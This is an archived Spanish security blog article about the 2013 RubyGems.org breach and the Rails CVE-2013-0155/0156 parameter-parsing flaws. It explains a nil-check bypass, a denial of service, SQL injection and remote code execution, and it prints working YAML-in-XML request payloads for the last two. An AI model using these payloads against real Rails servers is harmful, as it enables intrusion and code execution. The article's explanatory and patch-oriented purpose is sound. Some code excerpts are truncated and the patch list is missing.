Incidente de seguridad en RubyGems.org: vulnerabilidades, explotación y parches

·6 min de lectura

Esta publicación fue reconstruida a partir de una copia archivada (ver original).

Incidente de seguridad en RubyGems.org: vulnerabilidades, explotación y parches

Artículo escrito por Christian Yerena**
**

El día 30 de enero del presente año el sitio RubyGems fue presa de un ataque de seguridad importante. La intrusión tuvo origen debido a un conjunto de fallas reportadas semanas atrás por Aaron Patterson en el grupo de google: Ruby on Rails - Security[2, 3].

Afortunadamente y Debido a la intervención del equipo en respuesta a incidencias de sitio, en colaboración con el cuerpo de analistas forenses de Red-Hat, el principal repositorio de gemas en el mundo estuvo abajo solo un por unas horas, ya que los archivos del sitio necesitaban ser verificados en busca de ficheros comprometidos por los atacantes.

@qrush, uno de los principales colaboradores del proyecto rubygem anuncio que algunos archivos config/*.yaml habían sido filtrados en la red como prueba de la intrusión, sin embargo, aseguró que esto no significaba peligro alguno ya la carpeta de configuración y credenciales del sitio es diferente debido al uso de Heroku como servicio.

Dicho acontecimiento nos recuerda que durante cualquier ciclo de desarrollo de software, debemos ser cuidadoso en cuanto a la seguridad de los sistemas.

Vayamos un paso mas lejos; ¿que pasaría si alguna gemas del sitio (por decir algo ActiveRecord) hubiera sido envenenada de forma exitosa, solo un par de horas?…

Cabe mencionar que cualquier desarrollo en curso (y una parte considerable de los desarrollos en producción) utiliza a RubyGems como repositorio de actualización para sus componentes. Dejando de lado que esta falla podría afectar a cualquier maquina con RubyOnRails instalado en forma local.

El resultado de esta operación seria bastante alarmante, ya que sitios como Scribd, Hulu, Github o SoundCloud, dependen de esta plataforma para brindar sus servicios.

De forma que, debemos tener en mente lo importante que es estar al día de los fallos y parches de seguridad más importantes que se reportan en los numerosos boletines que la comunidad de Rails ofrece en forma gratuita a todos sus usuarios.

Descripción del fallo

Escenario

Cuando un modelo es agregado a nuestra aplicación, por convención, debe heredar de la clase ActiveRecords, la cual se encarga de generar toda la información necesaria al objeto. Por ejemplo, si agregamos un modelo nuevo, digamos User.rb, cada atributo declarado en el modelo tendrá un método find_by_attribute_name, lo que sería equivalente a realizar la siguiente consulta en el gestor de base de datos “ Select * from ModelName WHERE attribute=‘parameters’ ”. Al obtener el resultado de dicha operación la información serían almacenada en un HashMap coherente con el modelo (digamos ‘user’ =>{ ‘1’=> { :id=>1, :name => ‘me’, :last_name=> ‘my lastname’, role=>‘admin’} ).

Descripción técnica

El fallo ocurre cuando una petición (comúnmente iniciada por un formulario cargado en demanda) debe ser procesada por el metodo find_by_*, creando una llamada que dejara al modulo ActiveDispatcher como encargado, dentro de este se instanciará el parseo de información mediante la clase ParamsParser, esta clase, recibe entradas de tipo XML y YAML, suministrando la información mediante tipos de datos primitivos para Ruby (Integer, Float, Symbol, etc.. ), posterior a esto, los atributos serán mezclados con el resto de datos en un mismo objeto y convertidos en HashWithIndefferentAccess finalmente dejando al metodo find_by_* procesar la información.

De esta forma un usuario malintencionado podría crear un paquete malicioso (simulando ser un paquete legitimo generado de forma embebida en el cliente) para conducir alguno de los siguientes ataques:

Evasión de condición nil (i__f @user.nil?)

Denegación de servicio

Inyección SQL

Ejecución de código remoto

1. Evasión de Condición - Nil

Supongamos que en el servidor existe un método parecido al siguiente:

**Funcion en el backend**

unless params[:token].nil?
  user = User.find_by_token(params[:token])
  user.reset_password!
end

De modo que para que esta condición se cumpla el párametro :token debe contener algo diferente a nil, por otro lado, como lo describe CVE- 2013-0155, los parámetros [nil] y [“”] no son normalizados a nil o “” de forma que los metodos #nil? y #empty? Pueden ser persuadidos para dar una respuesta diferente a la esperada.

**Payload**

POST / HTTP/1.1

2. Denegación de servicio (POC)

En versiones anteriores de Ruby se encontró que la implementación del Garbage Collector necesita ser mejorar en cuanto al manejo de los símbolos en memoria, de forma que para lograr una denegación de servicio un atacante podría llenar la memoria del proceso mandando múltiples veces símbolos únicos y causar la caída del servicio[7].

**3. Inyección SQL ([POC](https://gist.github.com/postmodern/4499032))**

Tratando de fabricar un paquete que conduzca al servidor a ejecutar una consulta SQL, teniendo en cuenta que en esta implementación del parseo YAML no es posible llamar directamente la opción _:select,_ de forma que otra opción sería fabricar una estructura por nodos referenciando al método Arel::Nodes::SqlLiteral y de esta forma lograr una sentencia valida. Una versión del exploit puede ser encontrada en el Gist 4499032``[9] autoría de postmodern usando las librerías de Ronin.

**Función en el backend**

   def search

Nota: Habría que toma en cuenta que el recurso debe ser previamente configurado en el archivo config/routes.rb para que el modelo User posea un método search ya que el nombre del método no es estándar.

**Payload**

POST /users/search HTTP/1.1
Content-Type: text/xml
X-Http-Method-Override: get
Accept: */*
User-Agent: Ruby
Host: 127.0.0.1:8081
Content-Length: 127

<?xml version="1.0" encoding="UTF-8"?>
<token type="yaml">--- !ruby/string:Arel::Nodes::SqlLiteral &quot;INJECTION_HERE&quot;
</token>

**4. Ejecución de código remoto**

Un usuario malintencionado podría tratar de sobre escribir alguna variable de instancia con la intención que durante la ejecución de la petición entrante dicha variable sea pasada a algún método del tipo _instance_eval, class_eval, module_eval_ ó _send_ para lograr exitosamente la ejecución de código remoto. **P**osterior a las primeras investigaciones alrededor de este escenario [Lian](https://github.com/lian)``[10] descubrió una clase susceptible a este comportamiento ActionController::Routing::RouteSet::NamedRouteCollection completando la explotación.

**Función en el backend**

   def search

**Payload**

POST /users/search HTTP/1.1
Content-Type: text/xml
X-Http-Method-Override: get
Accept: */*
User-Agent: Ruby
Host: 127.0.0.1:8081
Content-Length: 403

<?xml version="1.0" encoding="UTF-8"?>
<exploit type="yaml">--- !ruby/hash:ActionController::Routing::RouteSet::
NamedRouteCollection
? ! 'foo
(puts ''hihi world''; @executed = true) unless @executed
__END__

'
: !ruby/struct
defaults:
:action: create
:controller: foos
required_parts: []
requirements:
:action: create
:controller: foos
segment_keys:
- :format</exploit>

Parches de seguridad

Después de que las vulnerabilidades anteriores fueran abiertamente documentadas, los desarrolladores de RoR anunciaron que las versiones 3.2.11, 3.1.10, 3.0.19, 2.3.15 NO son afectadas por dicho fallo. Por lo tanto, siéntase libre de actualizar su versión por cualquiera de las anteriores, sin embargo, si usted posee una aplicación en producción y no le es posible actualizar su Framework aún puede aplicar el parche correspondiente a su versión citado a continuación:

Referencias

  1. http://rubygems.org/ - is the Ruby community’s gem hosting service.

  2. https://groups.google.com/forum/?fromgroups=#!topic/rubyonrails-security/61bkgvnSGTQ - Multiple vulnerabilities in parameter parsing in Action Pack (CVE-2013-0156).

  3. https://groups.google.com/forum/?fromgroups=#!topic/rubyonrails-security/t1WFuuQyavI - Unsafe Query Generation Risk in Ruby on Rails (CVE-2013-0155).

  4. http://api.rubyonrails.org/classes/ActiveRecord/Base.html - Dynamic attribute-based finders.

  5. http://secunia.com/advisories/51753/ - Ruby on Rails XML Parameter Parsing Vulnerability.

  6. https://news.ycombinator.com/item?id=5139583 - RubyGems.org compromised.

  7. https://gist.github.com/postmodern/4499017 - Proof-of-Concept exploit for Rails DoS.

  8. http://svitla.com/blog/top-25-ruby-on-rails-websites-2011/ - Top 25 Ruby on Rails websites 2011.

  9. https://gist.github.com/postmodern/4499032 - Proof-of-Concept exploit for Rails SQL Injection.

  10. https://github.com/lian - Cuenta GitHub de Lian.

  11. https://community.rapid7.com/community/metasploit/blog/2013/01/09/serialization-mischief-in-ruby-land-cve-2013-0156 Proof-of-Concept exploit for Rails Remote Code Execution.

Artículo escrito por Christian Yerena

tags:RubyGems repositorio explotacion parches incidente